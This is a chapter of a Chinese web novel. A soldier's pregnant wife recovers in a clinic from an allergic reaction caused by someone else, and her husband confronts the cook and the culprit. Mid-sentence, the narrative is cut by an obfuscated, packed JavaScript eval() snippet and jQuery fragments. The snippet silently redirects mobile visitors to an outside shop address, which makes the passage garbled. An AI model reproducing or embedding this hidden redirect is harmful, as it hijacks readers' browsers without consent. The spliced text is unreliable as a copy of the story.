卫生所的白炽灯把走廊照得惨白。秦司衡拐过弯，看到李婶蹲在地上。
“秦营长。”李婶站起来，“人救回来了，在里头。”
秦司衡推开病房的门。
苏韵窈躺在窄铁床上，左手手背上扎着针，透明的胶布把针头固定在皮肤上。她闭着眼，脸上的红疹褪了大半，但脖颈和锁骨还残留着成片的红。嘴唇没什么血色，鼻翼翕动得很浅。
秦司衡走到床边站住了。
“秦营长。”陈医生从后面跟进来，拍了拍他的肩膀，把下巴往门外一点，“出来。”
两人到了走廊。陈医生把手里的病历本翻开，蓝墨水写得密麻麻，往秦司衡胸口一杵。
“你看。”
秦司衡低头。字迹潦草，但几个关键词他看得清楚楚——妊娠三个月、香菜严重过敏、鱼类致过敏性哮喘。
“怀孕了你不知道？”陈医生嗓门压不住了，“过敏原你不知道？她今天要不是邻居发现得早，你就等着收尸吧！”
秦司衡盯着病历本上“妊娠三个月”四个字，耳朵里嗡嗡的。
三个月。
他回去探亲是三个多月前。
“我问你话呢。”陈医生伸手在他眼前晃了一下，“当丈夫当成你这样的，我行医十二年头一回见。媳妇怀着你的孩子，吃什么会死你都不清楚，你这个营长当得真行。”
秦司衡嘴唇动了一下，没吭声。
陈医生看他那张脸像被人抽了一巴掌似的，火气又往上冒：“今晚这顿饭要是没人发现，胎儿先保不住，大人再拖半个小时，喉头水肿堵死气管，神仙来了也救不回来。”
秦司衡把病历本合上，攥在手里。
“她现在怎么样？”
“命捡回来了。”陈医生瞥了他一眼，“吊瓶打完观察一夜，明天再看。以后含香菜和鱼的东西一口都不能碰，你记不住就写张条子贴灶台上。”
秦司衡没接话，转身推门回了病房。
苏韵窈醒着。
她听到了走廊里的声音，陈医生的嗓门大，每个字都灌进了她耳朵里。秦司衡的脚步声走近了，她把脸往枕头另一侧偏了偏，眼睛没睁。
床边传来一声轻微的响动，他坐在了床沿的木凳上。
一只手伸过来，碰到她扎着针的手背旁边。
苏韵窈把手往回缩了一寸。
那只手顿在半空，收了回去。
病房里安静了很久。头顶的白炽灯泡发出细微的电流声。
“韵窈。”
苏韵窈没动。
“你怀孕的事……为什么不告诉我？”
苏韵窈睁开眼。天花板是灰白色的水泥面，有条细裂纹从灯泡底座一直延到墙角。她盯着那条缝，嗓子沙得厉害，每个字都费力。
“告诉你？你人在哪？”
秦司衡没说话。
“我来了四天。”苏韵窈的声音轻，像是从嗓子眼里挤出来的，“你连面都没露过一次。”
秦司衡的手搭在膝盖上，指节收紧了。
苏韵窈偏过头看他。这个男人坐在她床边，军装领口还是汗湿的，眉心拧着，眼底有她看不懂的东西。但她懒得去分辨了。
“陈医生。”她转头看向门口。
陈医生还没走远，听到喊声折回来：“怎么了？”
“麻烦你给我开一份诊断证明。”苏韵窈撑着手肘想坐起来，胳膊发软，没撑住。秦司衡伸手要扶，她侧了下肩膀避开了，自己慢慢靠上床头的铁栏杆。
“写清楚。过敏原，休克程度，抢救经过，怀孕周数，全写上。”
陈医生看了眼秦司衡，又看了眼苏韵窈，点头：“行，我回去写，明天给你。”
“谢谢。”
陈医生走后，秦司衡开口：“你要诊断证明做什么？”
苏韵窈靠在铁栏杆上，呼吸还是浅的，胸口闷得难受。她看着秦司衡，一个字一个字地说：“寄回苏市。”
秦司衡皱眉。
“留个底。”苏韵窈垂下眼，“我要是哪天死在这儿了，起码家里人知道怎么回事。”
这句话落在病房里，比方才的安静更安静。
秦司衡的脊背僵住了。他看着苏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17860248|211973||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
韵窈——脸色灰白，嘴唇干裂，锁骨上还有没褪干净的红疹，整个人靠在冰冷的铁栏杆上，瘦得肩胛骨从衣服里凸出来。
他张了一下嘴，什么也没说出来。
苏韵窈也不再看他了。她闭上眼，把脸转向墙壁那一侧。
秦司衡在凳子上坐了很久。直到苏韵窈的呼吸变得平缓均匀，他才站起来，轻手轻脚地出了病房。
走廊尽头，孙骐靠墙站着。看到秦司衡的脸色，他嘴里准备好的话全咽了回去。
“食堂打菜的王阿姨，”秦司衡的声音平得听不出情绪，“叫过来。”
——
二十分钟后，王阿姨被孙骐从宿舍里揪了出来。
她穿着棉袄套在睡衣外面，头发乱糟糟的，看到秦司衡站在卫生所门口，腿先软了半截。
“秦、秦营长。”
秦司衡手里捏着那份诊断书的底稿，陈医生边写边给他看的。他把纸翻到正面，举到王阿姨面前。
“今天晚上我媳妇的饭盒里有鱼有香菜。她打饭时交代过你不要放，你放了没有？”
王阿姨脸上的血色刷地没了。“我、我没放啊，她说不要鱼不要香菜，我确实没——”说到一半她自己顿住了，眼珠子左右转了两圈。
“她盛饭去的那会儿，谁碰过她的饭盒？”
王阿姨的嘴抖了两下：“徐……徐同志。”
秦司衡把诊断书折好放进上衣口袋。“走。”
徐婉秋住的房子离卫生所不远。秦司衡到的时候她屋里灯还亮着。孙骐上前拍门，徐婉秋拉开门缝露出半张脸，看到秦司衡站在外面，脸上的表情僵了一瞬，随即扯出笑来。
“秦大哥，这么晚了——”
“今天在食堂，你往苏韵窈的饭盒里放了什么？”
徐婉秋的笑凝固在脸上。她眼珠转了一圈，嘴一瘪，眼泪立刻涌出来。
“秦大哥，我就是开个玩笑，谁知道她那么娇气——”
“过敏性休克。”秦司衡把诊断书从口袋里抽出来，展开，上面蓝墨水的字迹在灯光下清楚楚。“差点是两条人命。你管这叫玩笑？”